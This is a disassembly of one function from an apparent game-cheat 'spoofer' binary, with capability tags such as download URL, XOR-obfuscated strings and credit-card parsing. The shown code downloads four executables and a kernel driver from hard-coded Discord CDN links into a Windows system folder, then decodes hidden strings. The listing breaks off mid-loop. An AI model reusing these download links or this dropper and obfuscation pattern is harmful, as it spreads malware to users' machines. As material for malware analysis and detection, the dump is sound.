Function at 0x140004cf0
Capabilities:
Contain obfuscated stackstrings
Delete file
Download url
Encode data using xor
Parse credit card information
Receive data
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x268]
sub rsp, 0x350
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
mov rax, qword [0x14007c240]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor r12d, r12d
mov word [rbp + 0x6d], 0x20
mov dword [rbp + 0x60], 0x58415043
mov dword [rbp + 0x64], 0x70532033
mov dword [rbp + 0x68], 0x65666f6f
mov byte [rbp + 0x6c], 0x72
mov byte [rbp + 0x6f], r12b
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dword [rbp + 0x6c], 0x2e2e67
mov dword [rbp + 0x60], 0x43200a0a
mov dword [rbp + 0x64], 0x656e6e6f
mov dword [rbp + 0x68], 0x6e697463
mov byte [rbp + 0x70], r12b
lea rdx, [rbp + 0x60]
call fcn.140012b90
mov dword [rbp + 0x60], 0x736c63
mov byte [rbp + 0x64], r12b
lea rcx, [rbp + 0x60]
call fcn.14003b0f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
movdqa xmm11, xmmword [0x14006fa30]
movdqu xmmword [rbp + 0x190], xmm11
mov byte [rbp + 0x180], r12b
mov dword [rbp + 0x6a], 0x203a79
mov dword [rbp + 0x60], 0x6e45200a
mov dword [rbp + 0x64], 0x20726574
mov word [rbp + 0x68], 0x654b
mov byte [rbp + 0x6e], r12b
lea rdx, [rbp + 0x60]
call fcn.140012b90
lea rdx, [rbp + 0x180]
call fcn.140012e70
lea rcx, [0x14006c2cc]
call fcn.14003b0f0
lea rdx, str._Welcome_to_CPAX3_Spoofer
call fcn.140012b90
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14006c2cc]
call fcn.14003b0f0
lea rcx, str.color_b
call fcn.14003b0f0
lea rdx, str._select_your_Spoof_Type_n_n
call fcn.140012b90
lea rdx, str.__1__Perm_n
call fcn.140012b90
lea rdx, str.__2__Temp_n_n
call fcn.140012b90
lea rdx, [0x14006c34c]
call fcn.140012b90
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], r12b
lea rdx, [rbp + 0x160]
call fcn.140012e70
lea rcx, [rbp + 0x160]
mov r14, qword [rbp + 0x160]
mov r15, qword [rbp + 0x178]
cmp r15, 0xf
cmova rcx, r14
mov rbx, qword [rbp + 0x170]
cmp rbx, 1
jne 0x14001016b
mov r8, rbx
lea rdx, [0x14006c350]
call fcn.140058710
test eax, eax
jne 0x14001016b
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov r8d, 0x2a
lea rdx, str.C:WindowsGameBarPresenceWriterDisk1.exe
lea rcx, [rbp + 0xc0]
call fcn.140013690
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, 0x2d
lea rdx, str.C:WindowsGameBarPresenceWriterSolution.exe
lea rcx, [rbp + 0xe0]
call fcn.140013690
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d0], xmm1
mov r8d, 0x2f
lea rdx, str.C:WindowsGameBarPresenceWriterSolution64.sys
lea rcx, [rbp + 0x1c0]
call fcn.140013690
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8d, 0x2a
lea rdx, str.C:WindowsGameBarPresenceWriterDisk2.exe
lea rcx, [rbp + 0x1a0]
call fcn.140013690
nop
mov qword [rsp + 0x20], r12
mov r9d, ebx
lea r8, str.C:WindowsGameBarPresenceWriterDisk1.exe__nul
lea rdx, str.https:__cdn.discordapp.com_attachments_1239818412574904431_1247276416782045271_Disk1.exe_ex6660c1afis665f702fhm5b19ed260313424fec9a304ac5d67745d8ee0cede1d4a5a858db464caf485f04
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
mov r9d, 2
lea r8, str.C:WindowsGameBarPresenceWriterSolution.exe__nul
lea rdx, str.https:__cdn.discordapp.com_attachments_1239818412574904431_1247276415959830619_Solution.exe_ex6660c1aeis665f702ehm60793a490b19bc460182c176727543b80340895432828727cf52fc8e08e36654
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
mov r9d, 3
lea r8, str.C:WindowsGameBarPresenceWriterSolution64.sys__nul
lea rdx, str.https:__cdn.discordapp.com_attachments_1239818412574904431_1247276416408489984_Solution64.sys_ex6660c1aeis665f702ehm362ac20e5d582225ed188c2421f7bc4e15213def3ea621bfb0818a2a5008dc28
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, str.C:WindowsGameBarPresenceWriterDisk2.exe__nul
lea rdx, str.https:__cdn.discordapp.com_attachments_1239818412574904431_1247276415150461029_Disk2.exe_ex6660c1aeis665f702ehm482100f52fff38a4984d96f65cd711bf3fa1ef907a607a8e8feed96ac17e959e
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x14006ef00]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ef10]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ef20]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006ef30]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006ef40]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006ef50]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006ef60]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x14006ef70]
mov dword [rbp - 0x60], eax
movzx eax, word [0x14006ef74]
mov word [rbp - 0x5c], ax
mov r8d, r12d
movdqa xmm8, xmmword [0x14006fa60]
movdqa xmm10, xmmword [0x14006fa80]
movdqa xmm9, xmmword [str.::::]
movdqa xmm7, xmmword [0x14006fa40]
movdqa xmm6, xmmword [0x14006fac0]
mov ebx, dword [0x14007c200]
cmp ebx, 2
jl 0x1400051d3
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x1400050e0
cmp r8d, 0x76
jge 0x140005213
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x76
jl 0x1400051e0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006f7b0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f7c0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f7d0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f7e0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f7f0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f800]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f810]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x14006f820]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [str.RHR_]
mov dword [rbp - 0x58], eax
mov r8d, r12d
cmp ebx, 2
jl 0x140005393
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400052a0
cmp r8d, 0x7c
jge 0x1400053d3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7c
jl 0x1400053a0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rdi, [0x140000000]
lea rax, [rdi + 0x6d860]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm1
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm0
cmp ebx, 2
jl 0x140005560
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140005470
jmp 0x1400055a6
lea r9, [rsp + 0x30]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140005570
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d490]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d4a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d4b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d4c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006d4d0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d4e0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d4f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006d500]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006d510]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006d520]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x14006d528]
mov dword [rbp - 0x38], eax
movzx eax, word [0x14006d52c]
mov word [rbp - 0x34], ax
movzx eax, byte [0x14006d52e]
mov byte [rbp - 0x32], al
mov r8d, r12d
cmp ebx, 2
jl 0x140005759
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140005660
cmp r8d, 0x9f
jge 0x1400057a6
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9f
jl 0x140005770
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rdx, [rsp + 0x30]
lea rcx, [rdi + 0x6f610]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
mov r8d, r12d
cmp ebx, 2
jl 0x140005949
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140005850
cmp r8d, 0xad
jge 0x140005996
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x140005960
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e050]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e060]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e070]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e080]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e090]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006e0a0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006e0b0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006e0c0]
movups xmmword [rbp - 0x60], xmm1
movzx eax, byte [0x14006e0d0]
mov byte [rbp - 0x50], al
mov r8d, r12d
cmp ebx, 2
jl 0x140005b1a
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140005a21
cmp r8d, 0x81
jge 0x140005b66
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140005b30
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d090]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d0a0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d0b0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d0c0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006d0d0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006d0e0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006d0f0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006d100]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006d110]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14006d120]
mov dword [rbp - 0x40], eax
mov r8d, r12d
cmp ebx, 2
jl 0x140005cf9
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140005c00
cmp r8d, 0x94
jge 0x140005d46
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x140005d10
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006df10]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006df20]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006df30]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006df40]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006df50]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006df60]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006df70]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006df80]
movups xmmword [rbp - 0x60], xmm1
mov eax, dword [0x14006df90]
mov dword [rbp - 0x50], eax
mov r8d, r12d
cmp ebx, 2
jl 0x140005ec9
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
